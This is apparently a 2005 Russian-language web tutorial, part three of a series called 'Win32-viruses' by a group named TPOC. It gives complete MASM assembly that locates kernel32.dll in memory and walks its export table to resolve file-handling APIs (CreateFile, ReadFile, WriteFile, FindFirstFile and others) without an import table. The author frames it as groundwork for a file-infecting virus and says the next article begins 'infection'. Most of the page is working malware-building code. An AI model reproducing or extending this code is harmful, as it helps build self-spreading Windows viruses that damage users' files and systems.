Welcome to The Passion Of Code Laboratory!!!Статьи

"Win32-вирусы"
3. Находим адреса остальных функций

Автор:_follower / TPOC

Задача: Найти адреса всех остальных функций из библиотеки kernel32.dll которые нам могут понадобиться.


Итак в прошлой главе мы нашли адрес одной из функций . Теперь нам нужно найти адреса остальных. Зная эти адреса и адрес kernel32.dll мы сможем выполнить любую задачу.
.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

GetProcAddr PROTO :DWORD,:LPSTR

MIN_KERNEL_SEARCH_BASE EQU 070000000h
MAX_API_STRING_LENGTH EQU 150

.CONST
szError DB "Ошибка",0
szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0
szCap DB ":) ",0


.DATA
szFormat_GlobalAlloc DB "GlobalAlloc: 0x%08lX",13,10,0
szFormat_GlobalFree DB "GlobalFree: 0x%08lX",13,10,0
szFormat_ReadFile DB "ReadFile: 0x%08lX",13,10,0
szFormat_WriteFile DB "WriteFile: 0x%08lX",13,10,0
szFormat_GetFileSize DB "GetFileSize: 0x%08lX",13,10,0
szFormat_CreateFile DB "CreateFile: 0x%08lX",13,10,0
szFormat_CloseHandle DB "CloseHandle: 0x%08lX",13,10,0
szFormat_SetFilePointer DB "SetFilePointer: 0x%08lX",13,10,0
szFormat_FindFirstFile DB "FindFirstFile: 0x%08lX",13,10,0
szFormat_FindNextFile DB "FindNextFile: 0x%08lX",13,10,0
szFormat_FindClose DB "FindClose: 0x%08lX",13,10,0
szFormat_ExitProcess DB "ExitProcess: 0x%08lX",13,10,0

cBuff DB 120 DUP (0)
;------------------------------------------------------------------------------------------------
.CODE
Main:
PUSH [ESP]
CALL GetKernelBase

OR EAX, EAX
JZ OEPJump
MOV dwKernelBase, EAX

CALL GetApiAddresses
OEPJump:
CALL _ExitProcess
; RET

;------------------------------------------------------------------------------------------------
GetKernelBase PROC USES EDI ESI, dwTopStack : DWORD
MOV EDI, dwTopStack
AND EDI, 0FFFF0000h
.WHILE TRUE
.IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE
MOV ESI, EDI
ADD ESI, [ESI+03Ch]
.IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE
.BREAK
.ENDIF
.ENDIF
ExceptCont:
SUB EDI, 010000h
.IF EDI < MIN_KERNEL_SEARCH_BASE
MOV EDI, 0BFF70000h
.BREAK
.ENDIF
.ENDW
XCHG EAX, EDI
RET
GetKernelBase ENDP
;------------------------------------------------------------------------------------------------
GetApiAddresses:
;-> GlobalAlloc
MOV EDI, dwKernelBase
LEA EAX, OFFSET szGlobalAlloc
CALL DoGetProcAddr
MOV _GlobalAlloc, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_GlobalAlloc,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> GlobalFree
MOV EDI, dwKernelBase
LEA EAX, OFFSET szGlobalFree
CALL DoGetProcAddr
MOV _GlobalFree, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_GlobalFree,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> ReadFile
MOV EDI, dwKernelBase
LEA EAX, OFFSET szReadFile
CALL DoGetProcAddr
MOV _ReadFile, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_ReadFile,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> WriteFile
MOV EDI, dwKernelBase
LEA EAX, OFFSET szWriteFile
CALL DoGetProcAddr
MOV _WriteFile, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_WriteFile,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> GetFileSize
MOV EDI, dwKernelBase
LEA EAX, OFFSET szGetFileSize
CALL DoGetProcAddr
MOV _GetFileSize, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_GetFileSize,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> CreateFile
MOV EDI, dwKernelBase
LEA EAX, OFFSET szCreateFile
CALL DoGetProcAddr
MOV _CreateFile, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_CreateFile,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> CloseHandle
MOV EDI, dwKernelBase
LEA EAX, OFFSET szCloseHandle
CALL DoGetProcAddr
MOV _CloseHandle, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_CloseHandle,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> SetFilePointer
MOV EDI, dwKernelBase
LEA EAX, OFFSET szSetFilePointer
CALL DoGetProcAddr
MOV _SetFilePointer, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_SetFilePointer,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> FindFirstFile
MOV EDI, dwKernelBase
LEA EAX, OFFSET szFindFirstFile
CALL DoGetProcAddr
MOV _FindFirstFile, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_FindFirstFile,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> FindNextFile
MOV EDI, dwKernelBase
LEA EAX, OFFSET szFindNextFile
CALL DoGetProcAddr
MOV _FindNextFile, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_FindNextFile,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> FindClose
MOV EDI, dwKernelBase
LEA EAX, OFFSET szFindClose
CALL DoGetProcAddr
MOV _FindClose, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_FindClose,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL


;-> _ExitProcess
MOV EDI, dwKernelBase
LEA EAX, OFFSET szExitProcess
CALL DoGetProcAddr
MOV _ExitProcess, EAX
INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_ExitProcess,EAX
INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL

XOR EAX, EAX
GetApiError:
RET
;------------------------------------------------------------------------------------------------
DoGetProcAddr:
invoke GetProcAddr,EDI,EAX
RET
;------------------------------------------------------------------------------------------------
GetProcAddr PROC USES ESI EDI ECX EBX EDX, dwDllBase : DWORD, szApi : LPSTR
MOV ESI, dwDllBase
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
JNZ @@BadExit
ADD ESI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
JNZ @@BadExit

MOV EDI, szApi
MOV ECX, MAX_API_STRING_LENGTH
XOR AL, AL
REPNZ SCASB
MOV ECX, EDI
SUB ECX, szApi

MOV EDX, [ESI+078h]
ADD EDX, dwDllBase
ASSUME EDX : PTR IMAGE_EXPORT_DIRECTORY
MOV EBX, [EDX].AddressOfNames
ADD EBX, dwDllBase
XOR EAX, EAX
.REPEAT
MOV EDI, [EBX]
ADD EDI, dwDllBase
MOV ESI, szApi
PUSH ECX
REPZ CMPSB
.IF ZERO?
.BREAK
.ENDIF
POP ECX
ADD EBX, 4
INC EAX
.UNTIL EAX == [EDX].NumberOfNames


MOV ESI, [EDX].AddressOfNameOrdinals
ADD ESI, dwDllBase
PUSH EDX
MOV EBX, 2
XOR EDX, EDX
MUL EBX
ADD EAX, ESI
XOR ECX, ECX
MOV WORD PTR CX, [EAX]

POP EDX
MOV EDI, [EDX].AddressOfFunctions
XOR EDX, EDX
MOV EBX, 4
MOV EAX, ECX
MUL EBX
ADD EAX, dwDllBase
ADD EAX, EDI
MOV EAX, [EAX]
ADD EAX, dwDllBase
JMP @@ExitProc

ASSUME EDX : NOTHING

@@BadExit:
XOR EAX, EAX
@@ExitProc:

RET
GetProcAddr ENDP
;------------------------------------------------------------------------------------------------
szGlobalAlloc DB "GlobalAlloc",0
szGlobalFree DB "GlobalFree",0
szReadFile DB "ReadFile",0
szWriteFile DB "WriteFile",0
szGetFileSize DB "GetFileSize",0
szCreateFile DB "CreateFileA",0
szCloseHandle DB "CloseHandle",0
szSetFilePointer DB "SetFilePointer",0
szFindFirstFile DB "FindFirstFileA",0
szFindNextFile DB "FindNextFileA",0
szFindClose DB "FindClose",0

szExitProcess DB "ExitProcess",0
;------------------------------------------------------------------------------------------------
dwKernelBase DD 0

_GlobalAlloc DD 0
_GlobalFree DD 0
_ReadFile DD 0
_WriteFile DD 0
_GetFileSize DD 0
_CreateFile DD 0
_CloseHandle DD 0
_SetFilePointer DD 0
_FindFirstFile DD 0
_FindNextFile DD 0
_FindClose DD 0

_ExitProcess DD 0
;------------------------------------------------------------------------------------------------
end Main

Мы видим что задача заключается в простом добавлении пунктов в процедуру GetApiAddresses .Синим я отметил новые вставки. Остальное аналогично со статьей 2. Ну и для работы этих пунктов необходимо прописать имена функций и зарезервировать место под их адреса. В следующей статье предпримем первую попытку "заражать". Все! До свиданья :)

Исходник


[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)